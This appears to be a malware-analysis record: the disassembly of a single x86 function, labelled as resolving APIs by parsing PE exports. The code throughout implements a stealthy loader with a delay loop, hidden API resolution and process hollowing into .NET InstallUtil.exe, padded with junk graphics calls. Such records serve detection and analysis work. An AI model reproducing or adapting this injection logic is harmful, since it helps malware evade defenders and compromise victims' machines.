Function at 0x402800
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2b4
mov eax, dword [0x436010]
xor eax, esp
mov dword [esp + 0x2ac], eax
xorps xmm0, xmm0
mov dword [esp + 0xc], ecx
push ebx
movlpd qword [esp + 0x2c], xmm0
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
push ebp
movlpd qword [esp + 0x20], xmm0
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x24]
push esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x24]
movlpd qword [esp + 0x2c], xmm0
mov ebx, dword [esp + 0x30]
mov ebp, dword [esp + 0x2c]
movlpd qword [esp + 0x1c], xmm0
mov ecx, dword [esp + 0x1c]
movlpd qword [esp + 0x54], xmm0
mov esi, dword [esp + 0x54]
push edi
mov edi, dword [esp + 0x5c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x24]
add esi, 8
adc edi, 0
add dword [esp + 0x10], 8
adc dword [esp + 0x14], 0
add ecx, 8
adc eax, 0
add ebp, 8
adc ebx, 0
add edx, 4
adc dword [esp + 0x64], 0
jne 0x40289f
cmp edx, 0x5f5c030
jb 0x402871
add ecx, dword [esp + 0x10]
adc eax, dword [esp + 0x14]
add ecx, ebp
adc eax, ebx
add esi, ecx
adc edi, eax
jne 0x4028bd
cmp esi, 0x68e7780
jbe 0x402c04
call dword [sym.imp.KERNEL32.dll_FreeConsole]
xorps xmm0, xmm0
push str.kernel32.dll
movlpd qword [esp + 0x70], xmm0
movlpd qword [esp + 0x78], xmm0
movlpd qword [esp + 0x80], xmm0
movlpd qword [esp + 0x88], xmm0
movlpd qword [esp + 0x90], xmm0
movlpd qword [esp + 0x98], xmm0
movlpd qword [esp + 0xa0], xmm0
movlpd qword [esp + 0xa8], xmm0
movups xmmword [esp + 0x4c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
mov edx, str.CreateProcessW
mov ecx, ebx
mov dword [esp + 0x20], ebx
call fcn.004025c0
lea ebp, [ebx + eax]
mov dword [esp + 0x44], ebp
call fcn.00402400
mov eax, dword [0x436aac]
push str.ntdll.dll
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, str.GetWindowsDirectoryW
mov ecx, ebx
mov esi, eax
call fcn.004025c0
mov edx, str.ZwWriteVirtualMemory
mov ecx, esi
lea edi, [ebx + eax]
mov dword [esp + 0x40], edi
call fcn.004025c0
add eax, esi
mov dword [esp + 0x68], 0x44
mov dword [esp + 0x14], eax
lea eax, [esp + 0xb0]
push 0x104
push eax
call edi
lea edi, [esp + 0xb0]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402992
lea eax, [esp + 0x48]
mov dword [esp + 0x64], 0
push eax
lea eax, [esp + 0x6c]
mov ecx, 0x1a
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xd4]
mov esi, str.Microsoft.NETFramework_v4.0.30319InstallUtil.exe
rep movsd dword es:[edi], dword [esi]
push eax
call ebp
test eax, eax
je 0x402be2
nop dword [eax]
mov edx, str.VirtualAllocEx
mov ecx, ebx
call fcn.004025c0
push 4
push 0x1000
push 4
push 0
lea edi, [ebx + eax]
push 0xffffffffffffffff
call edi
mov ebp, eax
mov edx, str.GetThreadContext
mov ecx, ebx
mov dword [esp + 0x28], ebp
mov dword [ebp], 0x10007
call fcn.004025c0
mov edx, str.SetThreadContext
mov ecx, ebx
lea esi, [ebx + eax]
call fcn.004025c0
push ebp
push dword [esp + 0x50]
add eax, ebx
mov dword [esp + 0x40], eax
call esi
test eax, eax
je 0x402be2
mov edx, str.ReadProcessMemory
mov ecx, ebx
call fcn.004025c0
push 0
push 4
lea ecx, [esp + 0x60]
add eax, ebx
push ecx
mov ecx, dword [ebp + 0xa4]
add ecx, 8
push ecx
push dword [esp + 0x58]
call eax
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
lea ecx, [eax + 0x436aa4]
push dword [eax + 0x436ac0]
mov dword [esp + 0x3c], ecx
push dword [ecx]
push dword [esp + 0x58]
call edi
mov esi, eax
mov edx, 0x433754
mov ecx, ebx
mov dword [esp + 0x18], esi
call fcn.004025c0
mov ecx, dword [esp + 0x10]
lea edi, [ebx + eax]
lea eax, [esp + 0x64]
push eax
push dword [ecx + 0x436ac4]
push 0x436a70
push esi
push dword [esp + 0x58]
call dword [esp + 0x28]
test esi, esi
jne 0x402b31
push 5
push dword [esp + 0x4c]
call edi
push 0x104
lea eax, [esp + 0xb4]
push eax
call dword [esp + 0x48]
lea edi, [esp + 0xb0]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402ae0
lea eax, [esp + 0x48]
mov dword [esp + 0x64], 0
push eax
lea eax, [esp + 0x6c]
mov ecx, 0x1a
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xd4]
mov esi, str.Microsoft.NETFramework_v4.0.30319InstallUtil.exe
rep movsd dword es:[edi], dword [esi]
push eax
call dword [esp + 0x6c]
test eax, eax
jne 0x4029e0
jmp 0x402be2
mov eax, dword [esp + 0x10]
xor ecx, ecx
xor edi, edi
cmp cx, word [eax + 0x436a76]
jae 0x402b99
mov ebx, dword [esp + 0x18]
xor esi, esi
mov ebp, eax
nop word [eax + eax]
mov ecx, dword [0x436aac]
push 0
push dword [esi + ecx + 0x436b78]
mov eax, dword [esi + ecx + 0x436b7c]
add eax, 0x436a70
push eax
mov eax, dword [esi + ecx + 0x436b74]
add eax, ebx
push eax
push dword [esp + 0x58]
call dword [esp + 0x28]
movzx eax, word [ebp + 0x436a76]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x402b50
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x28]
mov esi, dword [esp + 0x18]
mov eax, dword [ebp + 0xa4]
push 0
push 4
push dword [esp + 0x38]
add eax, 8
push eax
push dword [esp + 0x58]
call dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
push ebp
mov eax, dword [ecx + 0x436a98]
add eax, esi
mov dword [ebp + 0xb0], eax
push dword [esp + 0x50]
call dword [esp + 0x40]
mov edx, str.ResumeThread
mov ecx, ebx
call fcn.004025c0
push dword [esp + 0x4c]
add eax, ebx
call eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Ellipse]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetAspectRatioFilterEx]
push 0
call dword [sym.imp.USER32.dll_UnloadKeyboardLayout]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00409a44
add esp, 0x2b4
ret